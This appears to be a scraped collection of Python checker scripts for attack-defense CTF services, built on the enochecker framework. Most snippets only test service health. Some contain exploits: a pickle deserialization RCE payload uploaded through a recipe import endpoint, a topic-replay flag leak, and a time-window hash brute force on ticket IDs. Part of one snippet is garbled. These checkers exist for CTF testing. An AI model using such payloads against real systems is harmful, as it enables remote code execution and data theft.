Ejemplo n.º 1
0
def test_exceptionHandling(capsys):
    # CheckerExampleImpl(method="putflag", call_idx=2).run()
    run(CheckerExampleImpl, args=["run", "putflag", "-i", "2"])

    a = capsys.readouterr()
    with capsys.disabled():
        print(a.out)
Ejemplo n.º 2
0
                            r.text, re.S)[0]
        if result != "b'You got hacked!\\n'":
            raise BrokenServiceException(
                "Exploit #2 not possible: Imported recipe ingredient not executed (expected 'b'You got hacked\\n'', but got '{}')"
                .format(result))
        ####################################
        # Exploit 3: RCE via pickle import #
        ####################################
        # craft malicious recipe file
        exploit_recipe = "cos\nsystem\n(S'echo \"You got hacked!\" > /app/static/exploit.txt'\ntR.'\ntR."
        # import recipe
        recipe_file = {
            'recipe': (
                "exploit.recipe",
                exploit_recipe,
                "application/octet-stream",
            )
        }
        self.http_post("/recipes/import", files=recipe_file)
        r = self.http_get("/static/exploit.txt")
        # check result
        if r.text != "You got hacked!\n":
            raise BrokenServiceException(
                "Exploit #3 not possible: No RCE on pickle import (expected 'You got hacked!\\n', but got '{}')"
                .format(r.text))


app = CyberAlchemistChecker.service  # This can be used for uswgi.
if __name__ == "__main__":
    run(CyberAlchemistChecker)
Ejemplo n.º 3
0
        topic = generate_topic(self.noise)
        self.debug(f'Putting noise "{self.noise}" to topic "{topic}"...')
        self.must_publish_to_new_topic(topic, self.noise)
        self.debug(f'Noise "{self.noise}" put')

    def getnoise(self):
        topic = generate_topic(self.noise)
        self.debug(f'Getting noise "{self.noise}" from topic "{topic}"...')
        self.must_get_message(topic, self.noise)
        self.debug(f'Noise "{self.noise}" got')

    def havoc(self):
        topics = self.must_list_topics()

    def exploit(self):
        desired_topic = generate_topic(self.flag)
        exploitable_topic = "topics"
        all_topics = self.must_replay(exploitable_topic)
        self.debug(f'Received topics are: "{all_topics}"')
        if all_topics.find(desired_topic) == -1:
            raise BrokenServiceException(
                f'Topic "{desired_topic}" missing from replay "{all_topics}" of topic "{exploitable_topic}"'
            )
        self.must_get_message(desired_topic, self.flag)
        self.debug("Service exploited")


app = DeadDropChecker.service
if __name__ == "__main__":
    sys.exit(run(DeadDropChecker))
Ejemplo n.º 4
0
                self.readline_expect_multiline(
                    t, string_dictionary["reception_2"])
                self.readline_expect_multiline(
                    t, string_dictionary["bathroom_diarrhea"])

                t.write("r\n")

                self.readline_expect_multiline(
                    t, string_dictionary["bathroom_stall_walls"])
                hash_msg = t.read_until("\n")[:-1].decode('utf-8')
                if len(json.loads(hash_msg)) != 16:
                    raise BrokenServiceException("Hash message too small")

            self.debug("Havoc success before closing")
            t.close()

        except Exception as e:
            self.debug("havoc - Exception catched; Havoc ID: " +
                       str(self.flag_idx))
            self.debug(e)
            raise BrokenServiceException("havoc did not work; Havoc ID: " +
                                         str(self.flag_idx))


with open('assets/strings.json', 'r') as f:
    string_dictionary = json.load(f)

app = CasinoChecker.service
if __name__ == "__main__":
    run(CasinoChecker)
Ejemplo n.º 5
0
            cookie_file = hashlib.md5((str(self.flag) + str(idx)).encode()).hexdigest() + ".cookie"
            if not os.path.exists(cookie_file):
                (open(cookie_file, 'w')).close()

            try:
                cookie_value = self.team_db[cookie_file]
            except:
                cookie_value = ''

            with open(cookie_file, 'w') as cookie_f:
                cookie_f.write(cookie_value)
                c.setopt(pycurl.COOKIEFILE, cookie_file)
                c.setopt(pycurl.COOKIEJAR, cookie_file)

        try:
            c.perform()
            c.close()
        except pycurl.error:
            raise OfflineException("Service unreachable")

        if useCookies:
            with open(cookie_file, 'r') as cookie_f:
                self.team_db[cookie_file] = cookie_f.read()

        return buffer.getvalue().decode('utf-8')


app = ShittrChecker.service
if __name__ == "__main__":
    run(ShittrChecker)
Ejemplo n.º 6
0
            self.info("hash_id was calculated!")

            if hash_id_from_service != hash_id:
                raise BrokenServiceException(
                    "The song was not what I uploaded!!!")

    def putnoise(self):
        pass

    def getnoise(self):
        pass

    def havoc(self):
        random = self.generate_random_string
        user_register = self.register_service(random)
        self.info("Checker Register on service")
        self.login_on_service(user_register)
        self.debug("Checker logged in service with user object : ")
        self.info("Checker logged in")
        self.visit_my_songs()
        self.info("Checker Visiting Songs")
        self.info("It seems like the service is online!!!")

    def exploit(self):
        pass


app = ExplotifyChecker.service
if __name__ == "__main__":
    run(ExplotifyChecker)
Ejemplo n.º 7
0
        return resp_dict

    def check_planet_list(self, name):
        resp = self.http_get("/")
        print("checking planets list \n " + resp.text, flush=True)
        self.debug("checking planets list \n " + resp.text)
        if name not in resp.text:
            raise BrokenServiceException("planet list not showing")
        else:
            print("planet name is displayed : " + name + "\n", flush=True)
            self.debug("planet name is displayed : " + name + "\n")

    def check_planet_details(self, name, declination, rightAscension):
        resp = self.http_get("/planet_details?name=" + name)
        print("checking planets details \n " + resp.text, flush=True)
        self.debug("checking planets details \n " + resp.text)

        if declination not in resp.text or rightAscension not in resp.text:
            raise BrokenServiceException("planet details not working")
        else:
            print("planet details displayed \n  declination: " + declination +
                  " rightAscension" + rightAscension,
                  flush=True)
            self.debug("planet details displayed \n  declination: " +
                       declination + " rightAscension" + rightAscension)


app = TelescopyChecker.service
if __name__ == "__main__":
    run(TelescopyChecker)
Ejemplo n.º 8
0
        else:
            raise BrokenServiceException("noise is missing from /posts")

    def havoc(self) -> None:
        """
        This method unleashes havoc on the app -> Do whatever you must to prove the service still works. Or not.
        On error, raise an EnoException.
        :raises EnoException on Error
        """
        self.info("I wanted to inform you: I'm  running <3")
        res = self.http_get("/")
        assert_equals(res.status_code, 200)

        # You should probably do some more in-depth checks here.

    def exploit(self) -> str:
        """
        This method was added for CI purposes for exploits to be tested.
        Will (hopefully) not be called during actual CTF.
        :raises EnoException on Error
        :return This function can return a result if it wants
                If nothing is returned, the service status is considered okay.
                The preferred way to report Errors in the service is by raising an appropriate EnoException
        """
        pass


app = ExampleChecker.service  # This can be used for gunicorn/uswgi.
if __name__ == "__main__":
    run(ExampleChecker)
Ejemplo n.º 9
0
    def check_alarm(self, alarm_text, session_id):
        self.http_session.cookies.set('session_id', session_id)

        req = self.http_get("/alarm")
        enochecker.assert_equals(200, req.status_code,
                                 "Getting the alarm page did not return the expected response code.")
        enochecker.assert_in(alarm_text, req.text, f"Cannot find expected alarm text in response.")

    def check_invoice_number(self, invoice_number, session_id, expected_text):
        self.http_session.cookies.set('session_id', session_id)
        payload = {'state': json.dumps({'mode': 'invoice_info'}),
                   'msg': invoice_number}
        try:
            req = self.http_get('/get_bot_response', params=payload)
        except exceptions.RequestException:
            self.logger.debug(f"Could not get bot response. Payload: {payload}")
            raise enochecker.BrokenServiceException("Could not check invoice number. Seems like the service is broken.")
        enochecker.assert_equals(200, req.status_code,
                                 "The request did not return with the expected response code. Verify, that the invoice service is returning the desired response.")
        data = req.json()
        parsed_response = data['response'].replace('\\u200d', '\u200d')
        self.logger.debug(f"expected text: {expected_text}, data: {parsed_response}")
        enochecker.assert_in(expected_text, data['response'].replace('\\u200d', '\u200d'),
                             f"Could not find expected invoice in response.")


app = RingRingChecker.service

if __name__ == "__main__":
    enochecker.run(RingRingChecker)
Ejemplo n.º 10
0
                    if r.status_code == 200:
                        user = ""
                        for line in r.text.split("\n"):
                            if "User:"******"<h3>User:"******"</h3")[0]
                                users.add(user)
        t = str(int(time()))[:-1]
        for user in users:
            for i in range(int(t) - 100, int(t)):
                h = hash_func(user, str(i))
                r = self.http_get(route=f"/tickets/{h}", cookies=cookies)
                if "Ticket" in r.text or "buggy-team" in r.text:
                    print(r.text)  # Flag in here


def hash_func(*args):
    b = bytearray([0 for x in range(64)])
    for s in args:
        for i in range(64):
            b[i] = (ord(s[((i + 1) % len(s))]) ^ ord(s[(i % len(s))])) ^ b[i]
    h = sha256()
    h.update(b)
    h = h.hexdigest()
    return h


app = BuggyChecker.service

if __name__ == "__main__":
    run(BuggyChecker)
Ejemplo n.º 11
0
            telnet.read_until(b"================\n")
            telnet.read_until(b"================\n")
            telnet.write(b'4\n')
            text = telnet.read_until(b'Welcome to the airport\n').decode().split('\n')
        except Exception as e:
            self.info("Failed to Check bookings", exc_info=e)
            telnet.close()
            raise BrokenServiceException('User was not found')
            
        if not self.team_db[self.flag][0] in text:
            self.info('user was not found')
            telnet.close()
            raise BrokenServiceException('User was not found')
        else:
            self.info('Use found')

        """
        res = telnet.read_until(b'\n').decode('utf-8').strip().replace('\n','')
        while  res != self.team_db[self.flag][0] or 'Welcome ' in res:
            print('in view bookings: {}\nin db: '.format(res,self.team_db[self.flag][0]))      
            res = telnet.read_until(b'\n').decode().strip().replace('\n','')
        return res
"""



app = FlugChecker.service

if __name__ == "__main__":
        run(FlugChecker)